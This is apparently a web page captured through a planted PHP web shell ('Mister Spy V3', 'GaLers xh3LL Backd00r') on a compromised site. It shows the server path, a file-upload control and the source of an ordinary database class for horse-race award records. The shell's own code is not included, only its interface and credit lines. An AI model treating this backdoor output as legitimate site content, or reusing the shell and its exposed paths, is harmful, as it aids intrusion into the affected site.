Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/library/
Upload File :
Current File : /home/caballoscriollos/www/espanol/library/class.premiosmarcha.php

<?php 

require_once('class.dbaccess.php');
require_once('class.premiomarcha.php');
require_once('class.filter.php');
require_once('class.page.php');

class PremiosMarcha extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = '';
		
		$sql.= " WHERE Nombre LIKE '%" . DB::StringUnquoted($filter['Nombre']) . "%'";
		
		if (isset($filter['IdTipo']) && ($filter['IdTipo'] != ''))
			$sql.= " AND IdTipo = " . DB::Number($filter['IdTipo']);

		return $sql;
	}


	public function GetPagesCount(Page $oPage, array $filter = NULL)
	{	
		$Count = $this->GetCountRows($filter);

		$Count = $Count / $oPage->Size;
		
		return ceil($Count);
	}


	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblPremiosMarcha";

		if ($filter)
			$sql.= $this->ParseFilter($filter);

		$sql.= " ORDER BY IdPremio ASC";

		if ($oPage != NULL)
			$sql.= " " . Pageable::ParsePage($oPage);
						
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oPremioMarcha = new PremioMarcha();
			$oPremioMarcha->ParseFromArray($oRow);
			
			array_push($arr, $oPremioMarcha);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}


	public function GetAllTipos()
	{
		$sql = "SELECT *";
		$sql.= " FROM tblPremiosMarcha";
		$sql.= " GROUP BY IdTipo";
		$sql.= " ORDER BY IdTipo ASC";
						
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oPremioMarcha = new PremioMarcha();
			$oPremioMarcha->ParseFromArray($oRow);
			
			array_push($arr, $oPremioMarcha);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}


	public function GetById($IdPremio)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblPremiosMarcha";
		$sql.= " WHERE IdPremio = " . DB::Number($IdPremio);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oPremioMarcha = new PremioMarcha();
		$oPremioMarcha->ParseFromArray($oRow);
		
		return $oPremioMarcha;		
	}
	

	public function GetCountRows(array $filter = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblPremiosMarcha";

		if ($filter)
			$sql.= $this->ParseFilter($filter);

		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat